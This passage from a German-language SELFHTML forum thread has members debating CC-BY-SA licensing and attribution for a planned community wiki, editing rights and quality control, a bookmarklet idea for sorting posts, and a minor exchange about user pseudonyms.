                        Dadurch wird man aber noch nicht automatisch zum BY-SA-Lizenzgeber seines eigenen Textes. Nachdem ich nochmal darüber nachgedacht habe, müsste es im Prinzip wie folgt funktionieren. Als Textbearbeiter schließt man durch Zustimmung zu den Nutzungsbedingungen einen Vertrag mit der Wikimedia und verpflichtet sich, seinen Beitrag unter BY-SA zu stellen plus der Namensnennungserleichterung und dass man als Autor genannt werden darf. Jetzt ist eindeutig geregelt, dass BY-SA plus Zusatz gilt und nicht irgendetwas selbst Ausgedachtes. Abwandlungen darf man gemäß BY-SA plus Namensnennungserleichterung erstellen, die die Wikimedia gemäß Nutzungsbedingungen-Vertrag entgegennimmt.

                        Wenn man das Prinzip für das SELFHTML-Wiki übernehmen kann, habe ich für den Wiki-Teil erst einmal keine Bedenken/Einwände mehr. (Einzelkämpferwerke unter BY-ND möchte ich aber weiterhin ebenfalls befürworten.)

                        Oh doch, sie muss ja nur kompatibel sein, aber sie kann andere heißen. Dann gibt es im ungünstigsten Fall pro Autor eine Lizenz, alle zueinander kompatibel, aber alle mit anderem Namen. Das soll kein Chaos sein?
                        Wenn dich das Chaos stört (das ja auch nur z.B. bei einem Fork von Interesse wäre), dann veröffentlichst du es halt wieder alles unter einer gemeinsamen Lizenz.

                        Abgesehen davon, dass sich das Chaos nun doch nicht ergibt, zumindest wenn man das SELFHTML-Wiki nach obigem Prinzip betreibt, stelle ich es mir aber nicht einfach vor, einen Lizenzwildwuchs zu vereinen, müsste man dazu doch sicher alle Lizenzgeber um Zustimmung bitten.

                        Lo!

                        1. Tach,

                          Okay, das erfüllt zwar nicht direkt die Pflicht zur Namensnennung seitens der Abwandlungsersteller, so wie sie die BY-SA formuliert. Diese verlangt von einem Veröffentlicher oder einem Abwandler die Namensnennung, bietet dafür aber nicht an, dass auch ein Link auf das Original dafür ausreichend ist. Die Wikimedia ergänzt dies durch ihre zusätzlichen Bedingungen. Insofern kann man das als eine Erweiterung der BY-SA ansehen, dass mir diese Arbeit durch die "Versionen/Autoren"-Seite abgenommen wird.

                          diese Erweiterung ist direkt in BY-SA vorgesehen, ich kann einen Namen/URL angeben, die als Nennung genügt.

                          Abgesehen davon, dass sich das Chaos nun doch nicht ergibt, zumindest wenn man das SELFHTML-Wiki nach obigem Prinzip betreibt, stelle ich es mir aber nicht einfach vor, einen Lizenzwildwuchs zu vereinen, müsste man dazu doch sicher alle Lizenzgeber um Zustimmung bitten.

                          Da die Lizenzen alle kompatibel sein müssen, hat bereits jeder die nötigen Rechte und muß nicht fragen ;-)

                          mfg
                          Woodfighter

                          1. Hi!

                            Okay, das erfüllt zwar nicht direkt die Pflicht zur Namensnennung seitens der Abwandlungsersteller, so wie sie die BY-SA formuliert. Diese verlangt von einem Veröffentlicher oder einem Abwandler die Namensnennung, bietet dafür aber nicht an, dass auch ein Link auf das Original dafür ausreichend ist. Die Wikimedia ergänzt dies durch ihre zusätzlichen Bedingungen. Insofern kann man das als eine Erweiterung der BY-SA ansehen, dass mir diese Arbeit durch die "Versionen/Autoren"-Seite abgenommen wird.

                            diese Erweiterung ist direkt in BY-SA vorgesehen, ich kann einen Namen/URL angeben, die als Nennung genügt.

                            Die Stelle finde ich nicht. Ich sehe in Punkt 4c vier Bedingungen, die erfüllt sein müssen

                            1. den Namen angeben (von URL steht da nichts)
                              2. den Titel des Inhaltes
                              3. den URI zum Schutzgegenstand
                              4. und im Falle einer Abwandlung einen Hinweis darauf, dass es sich um eine Abwandlung handelt.

                            Ich sehe nicht, dass für Punkt 1. auch ein Verweis darauf gilt, denn im Offline-Fall funktioniert dieser Verweis nicht mehr, wodurch ich den Punkt nicht mehr erfüllen kann. Durch die Wikimedia-Erweiterung genügt die reine Nennung der URL, dass sie erreichbar sein muss, steht da nicht. Das könnte man auch nicht verlangen, denn wenn die Wikimedia-Server stürben, gäbe es massive Lizenzprobleme.

                            Abgesehen davon, dass sich das Chaos nun doch nicht ergibt, zumindest wenn man das SELFHTML-Wiki nach obigem Prinzip betreibt, stelle ich es mir aber nicht einfach vor, einen Lizenzwildwuchs zu vereinen, müsste man dazu doch sicher alle Lizenzgeber um Zustimmung bitten.

                            Da die Lizenzen alle kompatibel sein müssen, hat bereits jeder die nötigen Rechte und muß nicht fragen ;-)

                            Hatte ich nicht irgendwo gelesen, dass man die Lizenz im nicht einschränkenden Sinne erweitern kann? Gilt vermutlich nicht für Abwandlungen, der ursprüngliche Lizenzgeber kann hingegen.

                            Lo!

                            1. Tach,

                              Ich sehe nicht, dass für Punkt 1. auch ein Verweis darauf gilt, denn im Offline-Fall funktioniert dieser Verweis nicht mehr, wodurch ich den Punkt nicht mehr erfüllen kann. Durch die Wikimedia-Erweiterung genügt die reine Nennung der URL, dass sie erreichbar sein muss, steht da nicht. Das könnte man auch nicht verlangen, denn wenn die Wikimedia-Server stürben, gäbe es massive Lizenzprobleme.

                              stimmt, URL reicht nicht, aber man kann einen Zuschreibungsempfänger nehmen, wenn ich das richtig Verstehe; in diesem Falle den Verein:

                              "Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;" CC-BY-SA - 4. c i.

                              Hatte ich nicht irgendwo gelesen, dass man die Lizenz im nicht einschränkenden Sinne erweitern kann? Gilt vermutlich nicht für Abwandlungen, der ursprüngliche Lizenzgeber kann hingegen.

                              Du darfst nicht mehr Rechte vergeben, als du vom Original erhalten hast und du darfst die Rechte nicht weiter einschränken; also ist da nicht viel Varianz möglich.

                              mfg
                              Woodfighter

            2. Hi!

              2.) Für das Wiki gilt: Wer etwas eintütet, räumt ein unbefristetes und uneingeschränktes Nutzungsrecht ein und kann seine (eigenen!) Machenschaften dann natürlich gerne extern weiterverwursten.

              und wenn du das jetzt noch in eine rechtsverbindliche Form bringen könntest... Siehst du, genau da setzt man am einfachsten mit einer bewährten Lizenz wie denen von CC an.

              Ich stimme dir prinzipiell zu, frage aber, welcher Punkt der CC-Lizenzen regelt denn genau, dass die "Eintüter" ein unbefristetes und uneingeschränktes Nutzungsrecht einräumen (gegenüber dem SELFHTML e.V. als auch gegenüber den Nutzern)? Ich habe den bisher nicht finden können.

              Das wäre bei CC-BY-SA Punkt 3 des Lizenztextes: "Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber [...} das vergütungsfreie, räumlich und zeitlich [...] unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen"

              Gruß
              Bernhard

          2. und wenn du das jetzt noch in eine rechtsverbindliche Form bringen könntest...

            Du meinst so, wie sie derzeit für die statische Version existiert, sich seit Jahren bewährt und nie zu Problemen geführt hat? Gerne. Ich mag Prosa, dafür wird nämlich im Bedarfsfall der gesunde Menschenverstand zur Interpretation herangezogen und bei Auslegungsschwierigkeiten seitens eines Interessenten vereinsseitig *entschieden*. Wer mitschreibt, räumt ein uneingeschränktes Nutzungsrecht ein, fertig. Was wollt ihr mehr?

            Was der Verein dann mit dem Gesamtwerk anstellt, muss die Autoren nicht weiter beschäftigen, es wird weiterhin nach bestem Wissen und Gewissen betreut werden. Will jemand die ganze Doku weiterverwursten, ob kommerziell oder nicht, wendet er sich daher im Zweifel an den Hohen Rat und wird bei guten Absichten immer grünes Licht bekommen. Von dieser auf den ersten Blick strengen Lizenz profitieren alle, niemand wird benachteiligt, da sie liberal ausgelegt wird. Keine einzige, derzeit noch gar nicht absehbare Nutzung wird von vorneherein ausgeschlossen oder auch nur behindert. Bösewichten wird nicht unbewusst ein Einfallsor geöffnet. Was wollt ihr mehr?

            Sich mit missbräuchlicher Nutzung einer CC-Lizenz auseinandersetzen zu müssen übersteigt sowohl Kompetenz als auch Ressourcen der Verantwortlichen. Wer bezahlt denn die Gutacher, wenn ich fragen darf? Je länger die Diskussion in diesem Thread andauert, desto weniger ist klar, wie die Lage ist. Und das, bevor die erste Zeile im Wiki geschrieben wurde. :-/

            Roland

            1. Tach,

              Du meinst so, wie sie derzeit für die statische Version existiert, sich seit Jahren bewährt und nie zu Problemen geführt hat?

              bis jetzt war die Anzahl der Mitschreibenden auch deutlich überschaubarer und alle waren bekannt. In einem Wiki kann jemand mitschreiben, den niemand kennt, der aber nie die Rechte für eine Buchverwertung an den Verein übertragen hat, weil davon in dem Vertrag zwischen ihm und dem Verein nie die Rede war...

              Und das, bevor die erste Zeile im Wiki geschrieben wurde. :-/

              Dass das ganze geklärt sein muß, bevor etwas geschrieben ist, sollte doch wohl klar sein. Man kann nicht nachträglich eine Lizenz für bereits bestehende Inhalte fordern ohne alle Urheber zu fragen.

              mfg
              Woodfighter

              1. In einem Wiki kann jemand mitschreiben, den niemand kennt, der aber nie die Rechte für eine Buchverwertung an den Verein übertragen hat, weil davon in dem Vertrag zwischen ihm und dem Verein nie die Rede war...

                Ich zitier's noch einmal, weil du den Kernpunkt weggelassen hast:

                Wer mitschreibt, räumt ein uneingeschränktes Nutzungsrecht ein, fertig.

                Dass das ganze geklärt sein muß, bevor etwas geschrieben ist, sollte doch wohl klar sein.

                Das Ding soll fertig werden und auf lange Sicht die Interessen des Vereins wahren. Das kriegt ihr so nicht hin. Fork, fork.

                Roland

                1. Hi!

                  Dass das ganze geklärt sein muß, bevor etwas geschrieben ist, sollte doch wohl klar sein.
                  Das Ding soll fertig werden und auf lange Sicht die Interessen des Vereins wahren. Das kriegt ihr so nicht hin. Fork, fork.

                  Und du meinst, die anderen bekommen das ohne Unterbauklärung und ohne Folgeprobleme hin? Wie lautet deren Patentrezept?

                  Lo!

                  1. auf lange Sicht die Interessen des Vereins wahren.

                    Und du meinst, die anderen bekommen das ohne Unterbauklärung und ohne Folgeprobleme hin? Wie lautet deren Patentrezept?

                    Wer sind "die", die du hier ansprichst?

                    Roland

                    1. Hi!

                      auf lange Sicht die Interessen des Vereins wahren.
                      Und du meinst, die anderen bekommen das ohne Unterbauklärung und ohne Folgeprobleme hin? Wie lautet deren Patentrezept?
                      Wer sind "die", die du hier ansprichst?

                      Die, von denen ich annehme, auf die sich dein "Fork, fork" bezieht.

                      Lo!

            2. Hi!

              Sich mit missbräuchlicher Nutzung einer CC-Lizenz auseinandersetzen zu müssen übersteigt sowohl Kompetenz als auch Ressourcen der Verantwortlichen. Wer bezahlt denn die Gutacher, wenn ich fragen darf? Je länger die Diskussion in diesem Thread andauert, desto weniger ist klar, wie die Lage ist. Und das, bevor die erste Zeile im Wiki geschrieben wurde. :-/

              Ich halte es für essentiell, zuerst für den Unterbau zu sorgen, und Oberbau und Inneneinrichtung erst danach vorzunehmen. Und wenn mir mein Haus lieb ist, dann lasse ich da auch mal einen Sachverständigen das Fundament und den Bauplan anschauen.

              Etwas nach demokratischen Prinzipien auszuhandeln dauert nun mal, und bedeutet auch, dass Nichtfachleute unrichtige Meinungen beisteuern (mich nicht ausgenommen). Heraus kommt nicht immer das objektiv Beste sondern meist nur ein Kompromiss, auf den alle schimpfen. Wenn es jemand diktatorisch festlegt, wird es auch nicht zwangsläufig besser. Zumindest könnte ein versierter Fachmann Argumente beisteuern, denen man sich vielleicht eher hinzugeben bereit ist und bei dem einen oder anderen Verständnisproblem erklärend helfen.

              Lo!

        1. Lizenz klären (ist erfolgt, siehe weiter unten)

        Auf diesen Punkt will ich nicht eingehen, das wurde ja bereits ausreichend getan.

        1. Grundstruktur ins Wiki übernehmen - damit man auch schon sehen kann was ungefähr wo hinsoll (ist natürlich veränderbar, aber man sollte sich schon orientieren können)

        Welche Grundstruktur - bzw. was wird jetzt alles ins Wiki übernommen, sprich steht das schon fest?

        Weiters: wie siehts mit Templates/Vorlagen aus - also Textbausteine usw. für eben die schon angesprochene Browserkompatiblitätsleiste?

  14. Hallo _Robert!

    Ist SelfHTML tot?

    Und Du? Eine dateiweite Suche nach »_Robert« ergab nur diesen Deinen Thread.

    Ich würde mich natürlich freuen, wenn dem nicht so wäre, aber für mich sieht es momentan nicht danach aus.

    Und alle hier freuen sich, wenn ein OP sich zumindest am selbst gestarteten Thread mit Antworten/Feedback usw. beteiligt - abgesehen davon, ob wie hier die Diskussion einiges im Gang gesetzt hat oder nicht.

    Viele Grüße aus Frankfurt/Main,
    Patrick

    --
    _ - jenseits vom delirium - _

       Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
    Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
    1. Hallo,

      Hallo _Robert!

      Ist SelfHTML tot?

      Und Du? Eine dateiweite Suche nach »_Robert« ergab nur diesen Deinen Thread.

      Ich würde mich natürlich freuen, wenn dem nicht so wäre, aber für mich sieht es momentan nicht danach aus.

      Und alle hier freuen sich, wenn ein OP sich zumindest am selbst gestarteten Thread mit Antworten/Feedback usw. beteiligt - abgesehen davon, ob wie hier die Diskussion einiges im Gang gesetzt hat oder nicht.

      s. Betreff ...???

      Gruß

      jobo

      1. Moin,

        wofür soll das wichtig sein? Was zählt, ist das Ergebnis

        Grüße

        Swen

        1. Hallo,

          wofür soll das wichtig sein? Was zählt, ist das Ergebnis

          Das musste Patrick fragen (;-).

          Gruß

          jobo

          1. Moin,

            Das musste Patrick fragen (;-).

            Nö :-) Du hast die Frage in den Topic geschrieben, also auch gestellt.

            Grüße

            Swen

  15. Hi!

    Nur so aus Neugier: In diesem Thread sind ja offensichtlich ein paar Beiträge gelöscht worden. Hat das irgendeinen speziellen Grund gehabt?

    Zumindest einer von mir war auch dabei und zumindest um den ist es - nanona ;-) - meiner Meinung nach schade.

    Gruß
    Bernhard

    1. Nur so aus Neugier: In diesem Thread sind ja offensichtlich ein paar Beiträge gelöscht worden. Hat das irgendeinen speziellen Grund gehabt?

      Das war vermutlich ein Versehen. Ich sehe keinen Eintrag im Löschlogbuch und keine Diskussion im Mod Forum, also nehme ich an, da hat jemand aus versehen auf den Löschlink gedrückt (ist mir auch auch shcon passiert).

      Ich hab' die Lösung entfernt.

      Struppi.

      1. Hi!

        Danke, aber

        Ich hab' die Lösung entfernt.

        bitte keine weiteren Lösungen entfernen. Wir brauchen alle Lösungen, die wir kriegen können. ;-)

        Grüße
        Bernhard

        1. Hallo,

          Ich hab' die Lösung entfernt.
          bitte keine weiteren Lösungen entfernen. Wir brauchen alle Lösungen, die wir kriegen können. ;-)

          War wohl ein Verschehen.

          Gruß

          jobo

  16. Hallo,

    gibt es denn weitere Statusberichte? Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

    Gruß

    jobo

    1. gibt es denn weitere Statusberichte? Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

      Visited-Links haben doch ohnehin in den meisten Browsern eine andere Farbe - sogar das Default-Stylesheet von SELFHTML beachtet dies :p

      1. Hallo,

        gibt es denn weitere Statusberichte? Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

        Visited-Links haben doch ohnehin in den meisten Browsern eine andere Farbe - sogar das Default-Stylesheet von SELFHTML beachtet dies :p

        Schon, aber ich war zwei Wochen unterwegs und wollte eigentlich nicht alle Links durchklicken. Da ich ja als Benutzer angemeldet bin, bleiben mir die besuchten Links immer erhalten.

        Gruß

        jobo

    2. Hallo,

      Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

      <I>

      Freundliche Grüße

      Vinzenz

      1. Hallo Vinzenz,

        Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

        <I>

        Heißt was ...???

        Gruß, Robert aka

        jobo

        1. Hallo Robert,

          Hat irgend jemand mal ein JS geschrieben, um sich die neusten Posts innerhalb eines Threads anzeigen zu lassen?

          <I>
          Heißt was ...???

          <I> wie Initiativstrafe, sprich: wer was vorschlägt, soll's umsetzen (ob sie's kann oder nicht). [1]

          Noch ein paar Links ins Archiv:

          </archiv/2000/3/t11089/#m55911>
            </archiv/2003/7/t53496/>

          Früher verlinkte ich das SELF-Lexikon ...

          Freundliche Grüße

          Vinzenz

          [1] "sie" wie "die Person"

          1. Hallo Vinzenz,

            <I> wie Initiativstrafe, sprich: wer was vorschlägt, soll's umsetzen (ob sie's kann oder nicht). [1]

            Noch ein paar Links ins Archiv:

            /archiv/2000/3/t11089/#m55911
              /archiv/2003/7/t53496/

            Früher verlinkte ich das SELF-Lexikon ...

            Der Ansatz wäre (JS natürlich):

            • Durchsuche die li-Elemente nach der Uhrzeit.
            • Sortiere sie entsprechend (vielleicht einfach als Hash?)
            • Baue den Baum neu auf, wobei es ja u.U. kein Baum mit unterzweigen mehr gibt

            Gruß Robert aka

            jobo

            1. Der Ansatz wäre (JS natürlich):

              • Durchsuche die li-Elemente nach der Uhrzeit.
              • Sortiere sie entsprechend (vielleicht einfach als Hash?)
              • Baue den Baum neu auf, wobei es ja u.U. kein Baum mit unterzweigen mehr gibt

              Ein kleines Bookmarklet ist da schnell geschrieben: go go go :D

              1. Hallo,

                • Durchsuche die li-Elemente nach der Uhrzeit.
                • Sortiere sie entsprechend (vielleicht einfach als Hash?)
                • Baue den Baum neu auf, wobei es ja u.U. kein Baum mit unterzweigen mehr gibt

                Ein kleines Bookmarklet ist da schnell geschrieben: go go go :D

                Gute Idee, als Lesezeichen. Hat ich jetzt garnicht dran gedacht. Mit JS hab ich noch nie Arrays sortiert. Am besten ja keysort, bei einem Hash, dessen Key die Zeit ist, ggf. zusammen mit dem Autorennamen.

                Gruß

                jobo

                1. Hallo Robert,

                  Ein kleines Bookmarklet ist da schnell geschrieben: go go go :D

                  Gute Idee, als Lesezeichen. Hat ich jetzt garnicht dran gedacht. Mit JS hab ich noch nie Arrays sortiert. Am besten ja keysort, bei einem Hash, dessen Key die Zeit ist, ggf. zusammen mit dem Autorennamen.

                  halte drauf! Wir warten. Schließlich wird's eine Weile dauern, bis es einen ähnlich langen Thread gibt. Anschließend könntest Du das Bookmarklet in einem hübschen neuen Artikel wiederverwenden.

                  Anfeuernde Grüße

                  Vinzenz

                  1. Hallo Vinzenz,

                    halte drauf! Wir warten. Schließlich wird's eine Weile dauern, bis es einen ähnlich langen Thread gibt. Anschließend könntest Du das Bookmarklet in einem hübschen neuen Artikel wiederverwenden.

                    Sollte ich das assoziative Array mit einer eigenen Funktion sortieren, oder dazu ein Framework einbinden? Die aktuelle Suche brachte mir, dass es dafür keine JS-eigene Funktion gibt. Da gibt es nur "sort()".

                    Gruß, Robert aka

                    jobo

                    1. Hallo,

                      Sollte ich das assoziative Array mit einer eigenen Funktion sortieren, oder dazu ein Framework einbinden?

                      lohnt sich das für diese Aufgabe?
                      Siehe dazu die Diskussion in diesem aktuellen Thread.

                      Es sollte gehen, siehe Robert Bienerts Ausführungen in SELFHTML aktuell.

                      Die aktuelle Suche brachte mir, dass es dafür keine JS-eigene Funktion gibt. Da gibt es nur "sort()".

                      Erweitere doch das Objekt um die von Dir benötigte Spezialsortierung.

                      Freundliche Grüße

                      Vinzenz

                    2. Hallo jobo!

                      Gruß, Robert aka
                      jobo

                      ... und aka wen noch?

                      Viele Grüße aus Frankfurt/Main,
                      Patrick

                      --
                      _ - jenseits vom delirium - _

                         Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
                      Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
                      1. Hallo Patrick,

                        Gruß, Robert aka jobo
                        ... und aka wen noch?

                        es gab noch ein formerly known as ..., mais vous pourrez lire cela vous mêmes dans les archives :-)

                        Freundliche Grüße

                        Vinzenz

                        1. Hallo Patrick,

                          es gab noch ein formerly known as ..., mais vous pourrez lire cela vous mêmes dans les archives :-)

                          et ici, ici, et ici, si c<circumflex>a toi intérèsse [das stimmt sicher nicht mit die accents].

                          Gruß Robert aka

                          jobo fka frankx ffka frankxberlin.

                          1. Hallo jobo!

                            Gruß Robert aka

                            jobo fka frankx ffka frankxberlin.

                            Dann biste ja die Mutter aller Sockenpuppen!

                            Viele Grüße aus Frankfurt/Main,
                            Patrick

                            --
                            _ - jenseits vom delirium - _

                               Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
                            Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
                            1. Hallo Patrick,

                              jobo fka frankx ffka frankxberlin.

                              Dann biste ja die Mutter aller Sockenpuppen!

                              Ohne Smiley. Alles klar. So wie Ashura oder wahsaga meinst Du?

                              Mit frankxberlin hab ich mal vor Urzeiten gestartet. Mit 12 Beiträgen in 2005, 25 in 2004 und 162 in 2003. Da hatte ich den Namen noch nicht geschützt.

                              frankx hat dann
                               563 in 2009,
                              1547 in 2008,
                              1017 in 2007,
                               500 in 2006,
                               239 in 2005 und
                                53 in 2004.

                              Das Anhängsel "berlin" war mir scheints hie und da zu lang. Immerhin hatte ich längere Zeit in meiner Signatur einen Link zu zwei meiner Webpräsenzen (inkl. Visitenkarte hier in der Community). Zum Thema Sockenpuppe hatte ich ja o.g. verlinkt und Felix auch geantwortet. Dir ist sicher bewusst, dass ich das nicht als Freundlichkeit auffasse, so betitelt zu werden. Aber "sowas" ist ja bei einigen Stammpostern hier gelegentlich Gang und Gäbe, das wissen ja alle, die sich hier öfter aufhalten. Ist ja auch schon häufig genug angesprochen worden.

                              Ab April 2009 dann jobo, wie beschrieben. Mit 66 Beiträgen in 2010 und 923 in 2009. 2007 und 2003 hat sich wohl mal jemand anders so genannt, seh ich grad. Jetzt ist der Name ja geschützt.

                              Ansonsten gibts noch http://forum.de.selfhtml.org/archiv/2009/6/t187642/#m1249136. Vielleicht sollte ich dich auch filtern, denn so griesgrämige Stimmungsmache oder Leumundschädigung ist ja eher unerfreulich unterm Strich.

                              Gruß

                              jobo

                              1. Hallo jobo!

                                Dann biste ja die Mutter aller Sockenpuppen!
                                Ohne Smiley. Alles klar.
                                Dir ist sicher bewusst, dass ich das nicht als Freundlichkeit auffasse, so betitelt zu werden
                                Vielleicht sollte ich dich auch filtern, denn so griesgrämige Stimmungsmache oder Leumundschädigung ist ja eher unerfreulich unterm Strich.

                                Mann, bist Du aber schnell eingeschnappt! Hätte ich Dir etwas vorwerfen wollen, hätte mich sicher ganz anders ausgedrückt!

                                Aber danke für Deinen Lebenslauf! Von mir gab es nur Patrick, da war ich lange seit August 1998 der Einzige, einmal war ich Patricia, zwei oder drei mal gänzlich anonym, aber sonst seit 2001 (glaube ich, ich überlasse das Suchen anderen) durchwegs mit vollem Namen.

                                Viele Grüße aus Frankfurt/Main,
                                Patrick

                                --
                                _ - jenseits vom delirium - _

                                   Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
                                Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
                                1. Hallo Patrick,

                                  Dann biste ja die Mutter aller Sockenpuppen!
                                  Ohne Smiley. Alles klar.
                                  Dir ist sicher bewusst, dass ich das nicht als Freundlichkeit auffasse, so betitelt zu werden
                                  Vielleicht sollte ich dich auch filtern, denn so griesgrämige Stimmungsmache oder Leumundschädigung ist ja eher unerfreulich unterm Strich.

                                  Mann, bist Du aber schnell eingeschnappt!

                                  Das wäre jetzt überinterpretiert. Wollte nur mal wissen, in welche Richtung das von Dir aus geht. Du hast ja Platz zum Interpretieren gelassen, bzw. eigentlich auch nicht, denn ein Smiley ist ja in solchen Fällen durchaus üblich.

                                  Hätte ich Dir etwas vorwerfen wollen, hätte mich sicher ganz anders ausgedrückt!

                                  Naja, nix gegen Sachargumente.

                                  Aber danke für Deinen Lebenslauf! Von mir gab es nur Patrick, da war ich lange seit August 1998 der Einzige, einmal war ich Patricia, zwei oder drei mal gänzlich anonym, aber sonst seit 2001 (glaube ich, ich überlasse das Suchen anderen) durchwegs mit vollem Namen.

                                  Ja, das ist ja Geschmackssache. Ich finde es ja auch ok., wenn Vinzenz May, Felix Riesterer oder Sven Rautenberg mit vollem Klarnamen posten. Deswegen hatte ich seinerzeit auch mal eine Visitenkarte angelegt, da dieses komplett Anonyme u.U. auch zu solch verbalen Entgleisungen führen kann bzw. das erleichtert. Da ich mich beruflich aber auch in anderen Bereich engagiere, und früher in den Anfängen eher vorsichtig war, was "Spuren hinterlassen im Netz" angeht, ist für mich ein Pseudonym irgendwie angenehmer. Personen, die ich kenne und die mir auch schon ausführlich hier geholfen haben, wie zB. Vinzenz, grüße ich ja hie und da dann auch mit meinem echten Vornamen.

                                  Gruß, Robert aka

                                  jobo

    3. Hallo,

      gibt es denn weitere Statusberichte?

      http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot#kommentar-11 + die diskussion hier zum Thema Lizenz.

      Grüße
      Thomas

      1. Hallo,

        http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot#kommentar-11 + die diskussion hier zum Thema Lizenz.

        merci. das hatte ich noch nicht mitbekommen.

        Gruß

        jobo

  17. Moin,

    gibt es schon irgendwo veröffentliche Vorstellungen vom Rechtemanagement innerhalb des SELFHTML-Wikis? Wird, wie zu erwarten, jeder Schreibrechte (Seiten bearbeiten - edit) erhalten? Oder wird man das auf angemeldete User beschränken?

    Grüße

    Swen

    1. Hallo,

      Moin,

      gibt es schon irgendwo veröffentliche Vorstellungen vom Rechtemanagement innerhalb des SELFHTML-Wikis? Wird, wie zu erwarten, jeder Schreibrechte (Seiten bearbeiten - edit) erhalten? Oder wird man das auf angemeldete User beschränken?

      s.a.: http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot#kommentar-15. Wie wäre es denn, wenn es Verantwortliche Redakteuere (Qualtitätskontrolle) für einzelne Themen gäbe. ZB. moilily (u.a.) für Javascript. Und wenn sich Autoren einmalig anmelden müssten, solange sie keine registrierten Nutzer des Forums bzw. der Community sind.

      Gruß

      jobo

      1. Moin,

        Wie wäre es denn, wenn es Verantwortliche Redakteuere (Qualtitätskontrolle) für einzelne Themen gäbe.

        So ein Konzept wäre mangelhaft, weil es den alten Fehler, auf eine exakte Person zu hoffen, wiederholt. Wir habe gesehen, dass das nicht funktioniert. Das sollte man also nicht an einem formalen Rechtestatus "Redakteur" festmachen sondern eher die Erweiterung für gesichtete und geprüfte Versionen, die auch im deutschen Wikipedia genutzt werden, einsetzen.

        Grüße

        Swen

        1. Hallo,

          So ein Konzept wäre mangelhaft, weil es den alten Fehler, auf eine exakte Person zu hoffen, wiederholt. Wir habe gesehen, dass das nicht funktioniert. Das sollte man also nicht an einem formalen Rechtestatus "Redakteur" festmachen sondern eher die Erweiterung für gesichtete und geprüfte Versionen, die auch im deutschen Wikipedia genutzt werden, einsetzen.

          Kapier ich nicht. Vielleicht konnte ich es nicht richtig rüberbringen. Für jeden Bereich eine oder mehrere Personen, die verantwortlich für die Qualtitätskontrolle zeichnen. ZB. molily. D.h., wenn Felix Riesterer zB. als akkreditierter Autor dort frei Inhalte einstellt (anders als ein nicht akkreditierter Autor) kann molily theoretisch das korrigiere bzw. editieren. Im Zweifelsfalle hat ein verantwortlicher Redakteur mehr Entscheidungskraft (erstmal, es gibt ja auch Diskussionen) als ein akkreditierter Autor, der wiederum mehr Rechte als ein Gelegenheitsautor hat. Das heißt ja nicht, dass molily Felix Beiträge freischalten soll. Heißt aber auch, dass nicht jeder Autor, der noch keine Beiträge geliefert hat, was unkontrolliert da reinkrakeln kann.

          Gruß

          jobo

          1. Moin,

            Kapier ich nicht. Vielleicht konnte ich es nicht richtig rüberbringen.

            Für jeden Bereich eine oder mehrere Personen, die verantwortlich für die Qualtitätskontrolle zeichnen.

            Damit machst Du Dich zunächst mal abhängig von einer (oder mehrerer) Personen. Das Problem habe ich Dir eben schon geschildert.
            Zudem hast die Qual, erstmal zu entscheiden, wer denn Kompetenz für die Qualitätskontrolle hat. Nicht jeder, der den technischen Sachverstand hat, hat auch die Begabung, eine Versprachlichung (die notwendigerweise immer mit einer gewissen technischen bzw. fachlichen Unschärfe einhergeht) vorzunehmen oder qualitativ zu beurteilen. Ich habe z.B. einige Jahre als Pressesprecher gearbeitet und z.B. fachliche Informationen von sehr spezialisierten Technikern oder von fachlich sehr versierten Steuerrechtlern verwurstet. Ich kann mich nicht an eine Presseerklärung erinnern, an der ein "Fachmann" nicht was auszusetzen gehabt hätte.

            Komplexe, abgestufte, für den eventuell nur für eine kurze Zeit vorbeischauenden potentiellen Mitautor komplett unbegreifliche System voller Kontroll- und Überwachungszwänge, die nur für den erkennbar und durchschaubar sind, der mit dem System groß geworden ist, sind aber der Tod der Leistungserbringung in frei zugänglichen kollaborativen Systemen. Vor Jahren, als Wikipedia begann, gab es viele solcher Bedenken, die sich allesamt nicht bewahrheitet haben (dass Wikipedia andere Probleme mit sich brachte, steht auf einem anderen Blatt und ändert daran nichts).

            Wer so ein Arbeitssystem will, braucht kein Wiki. Ein Wiki erfordert Mut zur Freiheit und ist mit einer Grundeinstellung eines Menschen, der Hosenträger additiv zum Gürtel trägt, nicht vereinbar.

            Grüße

            Swen

            1. Hallo,

              naja, ich habe das ja versucht anhand von bereits existierenden, versierten Nutzern deutlich zu machen. Ohne eine Form von Kontroll- und Qualitätsmanagement wird es vermutlich nicht gehen. Es gibt ja auch bereits hinreichenden Überblick über einen Pool von Autoren (s. Forum). Ich weiß nicht, in wie weit Du da in die Entscheidungen mit eingebunden bist. Ich persönlich fände eine etwas öffentlichere Übersicht über die Beteiligten und Funktionen gar nicht schlecht. Dazu gehören dann in Abstufungen für mich auch versierte Nutzer oder "Stammposter".

              Gruß

              jobo

              1. Moin,

